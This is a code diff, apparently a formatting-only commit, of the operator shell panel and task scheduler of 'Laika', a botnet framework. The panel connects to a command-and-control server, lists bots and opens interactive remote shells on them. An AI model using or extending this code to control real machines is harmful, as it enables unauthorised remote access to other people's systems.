struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta,
taskCallback callback, void *uData)
{
struct sLaika_task *task = laikaM_malloc(sizeof(struct sLaika_task));
task->callback = callback;
@ -77,17 +86,21 @@ struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta
return task;
}
void laikaT_delTask(struct sLaika_taskService *service, struct sLaika_task *task) {
void laikaT_delTask(struct sLaika_taskService *service, struct sLaika_task *task)
{
unscheduleTask(service, task);
laikaM_free(task);
}
void laikaT_pollTasks(struct sLaika_taskService *service) {
void laikaT_pollTasks(struct sLaika_taskService *service)
{
struct sLaika_task *last, *curr = service->headTask;
clock_t currTick = laikaT_getTime();
/* run each task, list is already sorted from closest scheduled task to furthest */
while (curr != NULL && curr->scheduled <= currTick) { /* if scheduled time is greater than currTime, all events that follow are also not scheduled yet */
while (curr != NULL &&
curr->scheduled <= currTick) { /* if scheduled time is greater than currTime, all events
that follow are also not scheduled yet */
/* walk to next task */
last = curr;
curr = curr->next;
@ -102,7 +115,8 @@ void laikaT_pollTasks(struct sLaika_taskService *service) {
}
/* will return the delta time in ms till the next event. -1 for no tasks scheduled */
int laikaT_timeTillTask(struct sLaika_taskService *service) {
int laikaT_timeTillTask(struct sLaika_taskService *service)
{
if (service->headTask) {
int pause = service->headTask->scheduled - laikaT_getTime();
return (pause > 0) ? pause : 0;

View File

@ -3,12 +3,12 @@
#include "hashmap.h"
#include "lpeer.h"
#include "ltask.h"
#include "lsodium.h"
#include "ltask.h"
#include "speer.h"
typedef struct sShell_client {
typedef struct sShell_client
{
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
struct sLaika_pollList pList;
struct sLaika_taskService tService;
@ -31,7 +31,8 @@ bool shellC_poll(tShell_client *client, int timeout);
void shellC_loadKeys(tShell_client *client, const char *pub, const char *priv);
tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id);
int shellC_addPeer(tShell_client *client, tShell_peer *peer); /* returns new peer id */
/* returns new peer id */
int shellC_addPeer(tShell_client *client, tShell_peer *peer);
void shellC_rmvPeer(tShell_client *client, tShell_peer *peer, int id);
void shellC_openShell(tShell_client *client, tShell_peer *peer, uint16_t col, uint16_t row);

View File

@ -1,13 +1,14 @@
#ifndef SHELLCMD_H
#define SHELLCMD_H
#include <string.h>
#include "sclient.h"
#include <string.h>
typedef void (*shellCmdCallback)(tShell_client *client, int args, char *argc[]);
typedef struct sShell_cmdDef {
typedef struct sShell_cmdDef
{
const char *cmd;
const char *help;
const char *syntax;

View File

@ -1,17 +1,19 @@
#ifndef SHELLPEER_H
#define SHELLPEER_H
#include "lsodium.h"
#include "lpeer.h"
#include "lsodium.h"
typedef struct sShell_peer {
typedef struct sShell_peer
{
uint8_t pub[crypto_kx_PUBLICKEYBYTES];
char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN];
PEERTYPE type;
OSTYPE osType;
} tShell_peer;
tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pub, char *hostname, char *inet, char *ipStr);
tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pub, char *hostname, char *inet,
char *ipStr);
void shellP_freePeer(tShell_peer *peer);
void shellP_printInfo(tShell_peer *peer);

View File

@ -1,18 +1,19 @@
#ifndef SHELLTERM_H
#define SHELLTERM_H
#include <stdlib.h>
#include "sclient.h"
#include <stdarg.h>
#include <stdbool.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/select.h>
#include <termios.h>
#include <stdbool.h>
#include <unistd.h>
#include "sclient.h"
typedef enum {
typedef enum
{
TERM_BLACK,
TERM_RED,
TERM_GREEN,
@ -31,29 +32,34 @@ typedef enum {
TERM_BRIGHT_WHITE
} TERM_COLOR;
#define PRINTTAG(color) shellT_printf("\r%s[~]%s ", shellT_getForeColor(color), shellT_getForeColor(TERM_BRIGHT_WHITE))
#define PRINTTAG(color) \
shellT_printf("\r%s[~]%s ", shellT_getForeColor(color), shellT_getForeColor(TERM_BRIGHT_WHITE))
#define PRINTINFO(...) do { \
PRINTTAG(TERM_BRIGHT_YELLOW); \
shellT_printf(__VA_ARGS__); \
} while(0);
#define PRINTINFO(...) \
do { \
PRINTTAG(TERM_BRIGHT_YELLOW); \
shellT_printf(__VA_ARGS__); \
} while (0);
#define PRINTSUCC(...) do { \
PRINTTAG(TERM_BRIGHT_GREEN); \
shellT_printf(__VA_ARGS__); \
} while(0);
#define PRINTSUCC(...) \
do { \
PRINTTAG(TERM_BRIGHT_GREEN); \
shellT_printf(__VA_ARGS__); \
} while (0);
#define PRINTERROR(...) do { \
PRINTTAG(TERM_BRIGHT_RED); \
shellT_printf(__VA_ARGS__); \
} while(0);
#define PRINTERROR(...) \
do { \
PRINTTAG(TERM_BRIGHT_RED); \
shellT_printf(__VA_ARGS__); \
} while (0);
void shellT_conioTerm(void);
void shellT_resetTerm(void);
const char *shellT_getForeColor(TERM_COLOR);
void shellT_printf(const char *format, ...);
/* waits for input for timeout (in ms). returns true if input is ready to be read, false if no events */
/* waits for input for timeout (in ms). returns true if input is ready to be read, false if no
* events */
bool shellT_waitForInput(int timeout);
int shellT_readRawInput(uint8_t *buf, size_t max);
void shellT_writeRawOutput(uint8_t *buf, size_t sz);
@ -62,6 +68,7 @@ char shellT_getch(void);
int shellT_kbget(void);
void shellT_printPrompt(void);
void shellT_setPrompt(char *prompt);
void shellT_addChar(tShell_client *client, int c); /* processes input, moving cursor, adding char to cmd, etc. */
/* processes input, moving cursor, adding char to cmd, etc. */
void shellT_addChar(tShell_client *client, int c);
#endif

View File

@ -1,39 +1,52 @@
#include <stdio.h>
#include "ini.h"
#include "sclient.h"
#include "sterm.h"
#include "ini.h"
#define STRING(x) #x
#include <stdio.h>
#define STRING(x) #x
#define MACROLITSTR(x) STRING(x)
const char *LOGO = "\n ██╗ █████╗ ██╗██╗ ██╗ █████╗\n ██║ ██╔══██╗██║██║ ██╔╝██╔══██╗\n ██║ ███████║██║█████╔╝ ███████║\n ██║ ██╔══██║██║██╔═██╗ ██╔══██║\n ███████╗██║ ██║██║██║ ██╗██║ ██║\n ╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝";
const char *LOGO =
"\n ██╗ █████╗ ██╗██╗ ██╗ █████╗\n ██║ ██╔══██╗██║██║ ██╔╝██╔══██╗\n "
" ██║ ███████║██║█████╔╝ ███████║\n ██║ ██╔══██║██║██╔═██╗ ██╔══██║\n "
" ███████╗██║ ██║██║██║ ██╗██║ ██║\n ╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝";
static int iniHandler(void* user, const char* section, const char* name, const char* value) {
tShell_client *client = (tShell_client*)user;
#define MATCH(s, n) strcmp(section, s) == 0 && strcmp(name, n) == 0
#define MATCH(s, n) strcmp(section, s) == 0 && strcmp(name, n) == 0
static int iniHandler(void *user, const char *section, const char *name, const char *value)
{
tShell_client *client = (tShell_client *)user;
if (MATCH("auth", "public-key")) {
shellC_loadKeys(client, value, NULL);
PRINTINFO("Auth pubkey: %s\n", value);
} else if (MATCH("auth", "private-key")){
} else if (MATCH("auth", "private-key")) {
shellC_loadKeys(client, NULL, value);
} else {
return 0; /* unknown section/name, error */
return 0; /* unknown section/name, error */
}
return 1;
}
bool loadConfig(tShell_client *client, char *config) {
#undef MATCH
bool loadConfig(tShell_client *client, char *config)
{
int iniRes;
printf("Loading config file '%s'...\n", config);
if ((iniRes = ini_parse(config, iniHandler, (void*)client)) < 0) {
if ((iniRes = ini_parse(config, iniHandler, (void *)client)) < 0) {
switch (iniRes) {
case -1: printf("Couldn't load config file '%s'!\n", config); break;
case -2: printf("Memory allocation error :/\n"); break;
default:
printf("Parser error on line %d in config file '%s'!\n", iniRes, config);
case -1:
printf("Couldn't load config file '%s'!\n", config);
break;
case -2:
printf("Memory allocation error :/\n");
break;
default:
printf("Parser error on line %d in config file '%s'!\n", iniRes, config);
}
return false;
}
@ -41,19 +54,26 @@ bool loadConfig(tShell_client *client, char *config) {
return true;
}
int main(int argv, char *argc[]) {
int main(int argv, char *argc[])
{
tShell_client client;
char *configFile = "shell.ini";
bool printPrompt = false;
shellT_printf("%s%s\n%s", shellT_getForeColor(TERM_BRIGHT_RED), LOGO, shellT_getForeColor(TERM_BRIGHT_WHITE));
shellT_printf(" made with %s<3%s by CPunch - %s\n\nType 'help' for a list of commands\n\n", shellT_getForeColor(TERM_BRIGHT_RED), shellT_getForeColor(TERM_BRIGHT_WHITE), "v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR) "-" LAIKA_VERSION_COMMIT);
shellT_printf("%s%s\n%s", shellT_getForeColor(TERM_BRIGHT_RED), LOGO,
shellT_getForeColor(TERM_BRIGHT_WHITE));
shellT_printf(
" made with %s<3%s by CPunch - %s\n\nType 'help' for a list of commands\n\n",
shellT_getForeColor(TERM_BRIGHT_RED), shellT_getForeColor(TERM_BRIGHT_WHITE),
"v" MACROLITSTR(LAIKA_VERSION_MAJOR) "."
MACROLITSTR(LAIKA_VERSION_MINOR) "-" LAIKA_VERSION_COMMIT);
shellC_init(&client);
/* load config file */
if (argv >= 2)
configFile = argc[1];
configFile = argc[1];
if (!loadConfig(&client, configFile))
return 1;
@ -61,7 +81,7 @@ int main(int argv, char *argc[]) {
shellC_connectToCNC(&client, LAIKA_CNC_IP, LAIKA_CNC_PORT);
shellT_conioTerm();
while(laikaS_isAlive((&client.peer->sock))) {
while (laikaS_isAlive((&client.peer->sock))) {
/* poll for 50ms */
if (!shellC_poll(&client, 50)) {
/* check if we have input! */

View File

@ -1,57 +1,63 @@
#include "lmem.h"
#include "sclient.h"
#include "lerror.h"
#include "lmem.h"
#include "lpacket.h"
#include "lsodium.h"
#include "sterm.h"
#include "sclient.h"
void shell_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
tShell_client *client = (tShell_client*)uData;
void shell_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick,
void *uData)
{
tShell_client *client = (tShell_client *)uData;
laikaS_emptyOutPacket(client->peer, LAIKAPKT_PINGPONG);
}
/* ======================================[[ PeerHashMap ]]====================================== */
typedef struct sShell_hashMapElem {
typedef struct sShell_hashMapElem
{
int id;
tShell_peer *peer;
uint8_t *pub;
} tShell_hashMapElem;
int shell_ElemCompare(const void *a, const void *b, void *udata) {
int shell_ElemCompare(const void *a, const void *b, void *udata)
{
const tShell_hashMapElem *ua = a;
const tShell_hashMapElem *ub = b;
return memcmp(ua->pub, ub->pub, crypto_kx_PUBLICKEYBYTES);
return memcmp(ua->pub, ub->pub, crypto_kx_PUBLICKEYBYTES);
}
uint64_t shell_ElemHash(const void *item, uint64_t seed0, uint64_t seed1) {
uint64_t shell_ElemHash(const void *item, uint64_t seed0, uint64_t seed1)
{
const tShell_hashMapElem *u = item;
return *(uint64_t*)(u->pub); /* hashes pub key (first 8 bytes) */
return *(uint64_t *)(u->pub); /* hashes pub key (first 8 bytes) */
}
/* ====================================[[ Packet Handlers ]]==================================== */
void shellC_handleHandshakeRes(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
void shellC_handleHandshakeRes(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
uint8_t endianness = laikaS_readByte(&peer->sock);
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
PRINTSUCC("Handshake accepted!\n");
}
void shellC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
void shellC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
LAIKA_DEBUG("got ping from cnc!\n");
/* stubbed */
}
void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN];
uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
tShell_client *client = (tShell_client*)uData;
tShell_client *client = (tShell_client *)uData;
tShell_peer *bot;
uint8_t type, osType;
@ -78,9 +84,10 @@ void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat
shellC_addPeer(client, bot);
}
void shellC_handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
void shellC_handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
tShell_client *client = (tShell_client*)uData;
tShell_client *client = (tShell_client *)uData;
tShell_peer *bot;
uint8_t type;
int id;
@ -100,17 +107,19 @@ void shellC_handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat
shellC_rmvPeer(client, bot, id);
}
void shellC_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
void shellC_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
/* stubbed! this packet is a no-op currently */
}
void shellC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
void shellC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
uint8_t buf[LAIKA_SHELL_DATA_MAX_LENGTH];
tShell_client *client = (tShell_client*)uData;
tShell_client *client = (tShell_client *)uData;
uint32_t id;
/* ignore packet if malformed */
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH+sizeof(uint32_t) || sz <= sizeof(uint32_t))
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH + sizeof(uint32_t) || sz <= sizeof(uint32_t))
return;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); /* this is ignored for now */
@ -124,8 +133,9 @@ void shellC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
shellT_writeRawOutput(buf, sz);
}
void shellC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
tShell_client *client = (tShell_client*)uData;
void shellC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
tShell_client *client = (tShell_client *)uData;
uint32_t id;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); /* this is ignored for now */
@ -176,26 +186,24 @@ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
/* clang-format on */
/* socket event */
void shellC_onPollFail(struct sLaika_socket *sock, void *uData) {
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
struct sShell_client *client = (struct sShell_client*)uData;
void shellC_onPollFail(struct sLaika_socket *sock, void *uData)
{
struct sLaika_peer *peer = (struct sLaika_peer *)sock;
struct sShell_client *client = (struct sShell_client *)uData;
laikaS_kill(&client->peer->sock);
}
/* ======================================[[ Client API ]]======================================= */
void shellC_init(tShell_client *client) {
void shellC_init(tShell_client *client)
{
laikaP_initPList(&client->pList);
client->peer = laikaS_newPeer(
shellC_pktTbl,
&client->pList,
shellC_onPollFail,
(void*)client,
(void*)client
);
client->peer = laikaS_newPeer(shellC_pktTbl, &client->pList, shellC_onPollFail, (void *)client,
(void *)client);
client->peers = hashmap_new(sizeof(tShell_hashMapElem), 8, 0, 0, shell_ElemHash, shell_ElemCompare, NULL, NULL);
client->peers = hashmap_new(sizeof(tShell_hashMapElem), 8, 0, 0, shell_ElemHash,
shell_ElemCompare, NULL, NULL);
client->openShell = NULL;
client->peerTbl = NULL;
client->peerTblCap = 4;
@ -223,7 +231,8 @@ void shellC_init(tShell_client *client) {
}
}
void shellC_cleanup(tShell_client *client) {
void shellC_cleanup(tShell_client *client)
{
int i;
laikaS_freePeer(client->peer);
@ -240,13 +249,15 @@ void shellC_cleanup(tShell_client *client) {
laikaM_free(client->peerTbl);
}
void shellC_connectToCNC(tShell_client *client, char *ip, char *port) {
void shellC_connectToCNC(tShell_client *client, char *ip, char *port)
{
struct sLaika_socket *sock = &client->peer->sock;
PRINTINFO("Connecting to %s:%s...\n", ip, port);
/* create encryption keys */
if (crypto_kx_client_session_keys(client->peer->inKey, client->peer->outKey, client->pub, client->priv, client->peer->peerPub) != 0)
if (crypto_kx_client_session_keys(client->peer->inKey, client->peer->outKey, client->pub,
client->priv, client->peer->peerPub) != 0)
LAIKA_ERROR("failed to gen session key!\n");
/* setup socket */
@ -262,7 +273,8 @@ void shellC_connectToCNC(tShell_client *client, char *ip, char *port) {
laikaS_writeByte(sock, LAIKA_OSTYPE);
laikaS_write(sock, client->pub, sizeof(client->pub)); /* write public key */
/* write stub hostname & ip str (since we're a panel/dummy client, cnc doesn't need this information really) */
/* write stub hostname & ip str (since we're a panel/dummy client, cnc doesn't need this
* information really) */
laikaS_zeroWrite(sock, LAIKA_HOSTNAME_LEN);
laikaS_zeroWrite(sock, LAIKA_INET_LEN);
laikaS_endOutPacket(client->peer);
@ -276,7 +288,8 @@ void shellC_connectToCNC(tShell_client *client, char *ip, char *port) {
/* the handshake requests will be sent on the next call to shellC_poll */
}
bool shellC_poll(tShell_client *client, int timeout) {
bool shellC_poll(tShell_client *client, int timeout)
{
struct sLaika_pollEvent *evnts;
int numEvents, i;
@ -299,15 +312,18 @@ bool shellC_poll(tShell_client *client, int timeout) {
return true;
}
void shellC_loadKeys(tShell_client *client, const char *pub, const char *priv) {
void shellC_loadKeys(tShell_client *client, const char *pub, const char *priv)
{
if (!laikaK_loadKeys(pub ? client->pub : NULL, priv ? client->priv : NULL, pub, priv)) {
shellC_cleanup(client);
LAIKA_ERROR("Failed to init keypair!\n");
}
}
tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id) {
tShell_hashMapElem *elem = (tShell_hashMapElem*)hashmap_get(client->peers, &(tShell_hashMapElem){.pub = pub});
tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id)
{
tShell_hashMapElem *elem =
(tShell_hashMapElem *)hashmap_get(client->peers, &(tShell_hashMapElem){.pub = pub});
/* return peer if elem was found, otherwise return NULL */
if (elem) {
@ -319,7 +335,8 @@ tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id) {
}
}
int shellC_addPeer(tShell_client *client, tShell_peer *newPeer) {
int shellC_addPeer(tShell_client *client, tShell_peer *newPeer)
{
/* find empty ID */
int id;
for (id = 0; id < client->peerTblCount; id++) {
@ -329,7 +346,8 @@ int shellC_addPeer(tShell_client *client, tShell_peer *newPeer) {
/* if we didn't find an empty id, grow the array */
if (id == client->peerTblCount) {
laikaM_growarray(tShell_peer*, client->peerTbl, 1, client->peerTblCount, client->peerTblCap);
laikaM_growarray(tShell_peer *, client->peerTbl, 1, client->peerTblCount,
client->peerTblCap);
client->peerTblCount++;
}
@ -337,7 +355,8 @@ int shellC_addPeer(tShell_client *client, tShell_peer *newPeer) {
client->peerTbl[id] = newPeer;
/* insert into hashmap */
hashmap_set(client->peers, &(tShell_hashMapElem){.id = id, .pub = newPeer->pub, .peer = newPeer});
hashmap_set(client->peers,
&(tShell_hashMapElem){.id = id, .pub = newPeer->pub, .peer = newPeer});
/* let user know */
if (!shellC_isShellOpen(client)) {
@ -347,7 +366,8 @@ int shellC_addPeer(tShell_client *client, tShell_peer *newPeer) {
return id;
}
void shellC_rmvPeer(tShell_client *client, tShell_peer *oldPeer, int id) {
void shellC_rmvPeer(tShell_client *client, tShell_peer *oldPeer, int id)
{
/* remove from bot tbl */
client->peerTbl[id] = NULL;
@ -363,7 +383,8 @@ void shellC_rmvPeer(tShell_client *client, tShell_peer *oldPeer, int id) {
shellP_freePeer(oldPeer);
}
void shellC_openShell(tShell_client *client, tShell_peer *peer, uint16_t col, uint16_t row) {
void shellC_openShell(tShell_client *client, tShell_peer *peer, uint16_t col, uint16_t row)
{
/* check if we already have a shell open */
if (client->openShell)
return;
@ -377,7 +398,8 @@ void shellC_openShell(tShell_client *client, tShell_peer *peer, uint16_t col, ui
client->openShell = peer;
}
void shellC_closeShell(tShell_client *client) {
void shellC_closeShell(tShell_client *client)
{
uint32_t id = 0; /* we will *ALWAYS* only have one shell open */
/* check if we have a shell open */
if (!shellC_isShellOpen(client))
@ -391,7 +413,8 @@ void shellC_closeShell(tShell_client *client) {
client->openShell = NULL;
}
void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz) {
void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz)
{
uint32_t i, id = 0; /* we will *ALWAYS* only have one shell open */
struct sLaika_socket *sock = &client->peer->sock;
/* check if we have a shell open */
@ -401,21 +424,22 @@ void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz) {
laikaS_startVarPacket(client->peer, LAIKAPKT_SHELL_DATA);
laikaS_writeInt(sock, &id, sizeof(uint32_t));
switch (client->openShell->osType) {
case LAIKA_OSTYPE: /* if we're the same as the target OS, line endings don't need to be converted! */
laikaS_write(sock, data, sz);
break;
default:
/* line endings have to be converted (ALWAYS LINUX->WIN for now) */
for (i = 0; i < sz; i++) {
if (data[i] == '\n') {
/* convert to windows line endings */
laikaS_writeByte(sock, '\r');
laikaS_writeByte(sock, '\n');
} else {
laikaS_writeByte(sock, data[i]);
}
case LAIKA_OSTYPE: /* if we're the same as the target OS, line endings don't need to be
converted! */
laikaS_write(sock, data, sz);
break;
default:
/* line endings have to be converted (ALWAYS LINUX->WIN for now) */
for (i = 0; i < sz; i++) {
if (data[i] == '\n') {
/* convert to windows line endings */
laikaS_writeByte(sock, '\r');
laikaS_writeByte(sock, '\n');
} else {
laikaS_writeByte(sock, data[i]);
}
break;
}
break;
}
laikaS_endVarPacket(client->peer);
}

View File

@ -1,17 +1,19 @@
#include <setjmp.h>
#include "scmd.h"
#include "lerror.h"
#include "lmem.h"
#include "sclient.h"
#include "speer.h"
#include "scmd.h"
#include "sterm.h"
#include "lerror.h"
#define CMD_ERROR(...) do { \
PRINTTAG(TERM_BRIGHT_RED); \
shellT_printf(__VA_ARGS__); \
longjmp(cmdE_err, 1); \
} while(0);
#include <setjmp.h>
#define CMD_ERROR(...) \
do { \
PRINTTAG(TERM_BRIGHT_RED); \
shellT_printf(__VA_ARGS__); \
longjmp(cmdE_err, 1); \
} while (0);
jmp_buf cmdE_err;
@ -19,14 +21,16 @@ jmp_buf cmdE_err;
tShell_cmdDef *shellS_findCmd(char *cmd);
tShell_peer *shellS_getPeer(tShell_client *client, int id) {
tShell_peer *shellS_getPeer(tShell_client *client, int id)
{
if (id < 0 || id >= client->peerTblCount || client->peerTbl[id] == NULL)
CMD_ERROR("Not a valid peer ID! [%d]\n", id);
return client->peerTbl[id];
}
int shellS_readInt(char *str) {
int shellS_readInt(char *str)
{
return atoi(str);
}
@ -34,12 +38,14 @@ int shellS_readInt(char *str) {
void helpCMD(tShell_client *client, int argc, char *argv[]);
void quitCMD(tShell_client *client, int argc, char *argv[]) {
void quitCMD(tShell_client *client, int argc, char *argv[])
{
PRINTINFO("Killing socket...\n");
laikaS_kill(&client->peer->sock);
}
void listPeersCMD(tShell_client *client, int argc, char *argv[]) {
void listPeersCMD(tShell_client *client, int argc, char *argv[])
{
int i;
for (i = 0; i < client->peerTblCount; i++) {
@ -50,7 +56,8 @@ void listPeersCMD(tShell_client *client, int argc, char *argv[]) {
}
}
void infoCMD(tShell_client *client, int argc, char *argv[]) {
void infoCMD(tShell_client *client, int argc, char *argv[])
{
tShell_peer *peer;
int id;
@ -65,7 +72,8 @@ void infoCMD(tShell_client *client, int argc, char *argv[]) {
shellP_printInfo(peer);
}
void openShellCMD(tShell_client *client, int argc, char *argv[]) {
void openShellCMD(tShell_client *client, int argc, char *argv[])
{
uint8_t buf[LAIKA_SHELL_DATA_MAX_LENGTH];
tShell_peer *peer;
int id, sz, cols, rows;
@ -112,7 +120,8 @@ void openShellCMD(tShell_client *client, int argc, char *argv[]) {
/* =====================================[[ Command Table ]]===================================== */
#define CREATECMD(_cmd, _syntax, _help, _callback) ((tShell_cmdDef){.cmd = _cmd, .syntax = _syntax, .help = _help, .callback = _callback})
#define CREATECMD(_cmd, _syntax, _help, _callback) \
((tShell_cmdDef){.cmd = _cmd, .syntax = _syntax, .help = _help, .callback = _callback})
tShell_cmdDef shellS_cmds[] = {
CREATECMD("help", "help", "Lists avaliable commands", helpCMD),
@ -124,11 +133,12 @@ tShell_cmdDef shellS_cmds[] = {
#undef CREATECMD
tShell_cmdDef *shellS_findCmd(char *cmd) {
tShell_cmdDef *shellS_findCmd(char *cmd)
{
int i;
/* TODO: make a hashmap for command lookup */
for (i = 0; i < (sizeof(shellS_cmds)/sizeof(tShell_cmdDef)); i++) {
for (i = 0; i < (sizeof(shellS_cmds) / sizeof(tShell_cmdDef)); i++) {
if (strcmp(shellS_cmds[i].cmd, cmd) == 0)
return &shellS_cmds[i]; /* cmd found */
}
@ -136,24 +146,32 @@ tShell_cmdDef *shellS_findCmd(char *cmd) {
return NULL;
}
void helpCMD(tShell_client *client, int argc, char *argv[]) {
void helpCMD(tShell_client *client, int argc, char *argv[])
{
int i;
shellT_printf("======= [[ %sCommand List%s ]] =======\n", shellT_getForeColor(TERM_BRIGHT_YELLOW), shellT_getForeColor(TERM_BRIGHT_WHITE));
for (i = 0; i < (sizeof(shellS_cmds)/sizeof(tShell_cmdDef)); i++) {
shellT_printf("'%s%s%s'\t- %s\n", shellT_getForeColor(TERM_BRIGHT_YELLOW), shellS_cmds[i].syntax, shellT_getForeColor(TERM_BRIGHT_WHITE), shellS_cmds[i].help);
shellT_printf("======= [[ %sCommand List%s ]] =======\n",
shellT_getForeColor(TERM_BRIGHT_YELLOW), shellT_getForeColor(TERM_BRIGHT_WHITE));
for (i = 0; i < (sizeof(shellS_cmds) / sizeof(tShell_cmdDef)); i++) {
shellT_printf("'%s%s%s'\t- %s\n", shellT_getForeColor(TERM_BRIGHT_YELLOW),
shellS_cmds[i].syntax, shellT_getForeColor(TERM_BRIGHT_WHITE),
shellS_cmds[i].help);
}
}
void shellS_initCmds(void) {
void shellS_initCmds(void)
{
/* stubbed for now, TODO: setup command hashmap */
}
void shellS_cleanupCmds(void) {
void shellS_cleanupCmds(void)
{
/* stubbed for now, TODO: free command hashmap */
}
char **shellS_splitCmd(char *cmd, int *argSize) {
char **shellS_splitCmd(char *cmd, int *argSize)
{
int argCount = 0;
int argCap = 4;
char *temp;
@ -165,7 +183,7 @@ char **shellS_splitCmd(char *cmd, int *argSize) {
if (arg != cmd) {
if (arg[-1] == '\\') { /* space is part of the argument */
/* remove the '\' character */
for (temp = arg-1; *temp != '\0'; temp++) {
for (temp = arg - 1; *temp != '\0'; temp++) {
temp[0] = temp[1];
}
arg++;
@ -175,7 +193,7 @@ char **shellS_splitCmd(char *cmd, int *argSize) {
}
/* insert into our 'args' array */
laikaM_growarray(char*, args, 1, argCount, argCap);
laikaM_growarray(char *, args, 1, argCount, argCap);
args[argCount++] = arg;
} while ((arg = strchr(arg, ' ')) != NULL); /* while we still have a delimiter */
@ -183,7 +201,8 @@ char **shellS_splitCmd(char *cmd, int *argSize) {
return args;
}
void shellS_runCmd(tShell_client *client, char *cmd) {
void shellS_runCmd(tShell_client *client, char *cmd)
{
tShell_cmdDef *cmdDef;
char **argc;
int args;

View File

@ -1,10 +1,13 @@
#include "speer.h"
#include "lmem.h"
#include "lpacket.h"
#include "speer.h"
#include "sterm.h"
tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pubKey, char *hostname, char *inet, char *ipStr) {
tShell_peer *peer = (tShell_peer*)laikaM_malloc(sizeof(tShell_peer));
tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pubKey, char *hostname,
char *inet, char *ipStr)
{
tShell_peer *peer = (tShell_peer *)laikaM_malloc(sizeof(tShell_peer));
peer->type = type;
peer->osType = osType;
@ -17,37 +20,50 @@ tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pubKey, char
memcpy(peer->ipStr, ipStr, LAIKA_IPSTR_LEN);
/* restore NULL terminators */
peer->hostname[LAIKA_HOSTNAME_LEN-1] = '\0';
peer->inet[LAIKA_INET_LEN-1] = '\0';
peer->ipStr[LAIKA_IPSTR_LEN-1] = '\0';
peer->hostname[LAIKA_HOSTNAME_LEN - 1] = '\0';
peer->inet[LAIKA_INET_LEN - 1] = '\0';
peer->ipStr[LAIKA_IPSTR_LEN - 1] = '\0';
return peer;
}
void shellP_freePeer(tShell_peer *peer) {
void shellP_freePeer(tShell_peer *peer)
{
laikaM_free(peer);
}
char *shellP_typeStr(tShell_peer *peer) {
char *shellP_typeStr(tShell_peer *peer)
{
switch (peer->type) {
case PEER_BOT: return "Bot";
case PEER_CNC: return "CNC";
case PEER_AUTH: return "Auth";
default: return "err";
case PEER_BOT:
return "Bot";
case PEER_CNC:
return "CNC";
case PEER_AUTH:
return "Auth";
default:
return "err";
}
}
char *shellP_osTypeStr(tShell_peer *peer) {
char *shellP_osTypeStr(tShell_peer *peer)
{
switch (peer->osType) {
case OS_WIN: return "Windows";
case OS_LIN: return "Linux";
default: return "unkn";
case OS_WIN:
return "Windows";
case OS_LIN:
return "Linux";
default:
return "unkn";
}
}
void shellP_printInfo(tShell_peer *peer) {
char buf[128]; /* i don't expect bin2hex to write outside this, but it's only user-info and doesn't break anything (ie doesn't write outside the buffer) */
void shellP_printInfo(tShell_peer *peer)
{
char buf[128]; /* i don't expect bin2hex to write outside this, but it's only user-info and
doesn't break anything (ie doesn't write outside the buffer) */
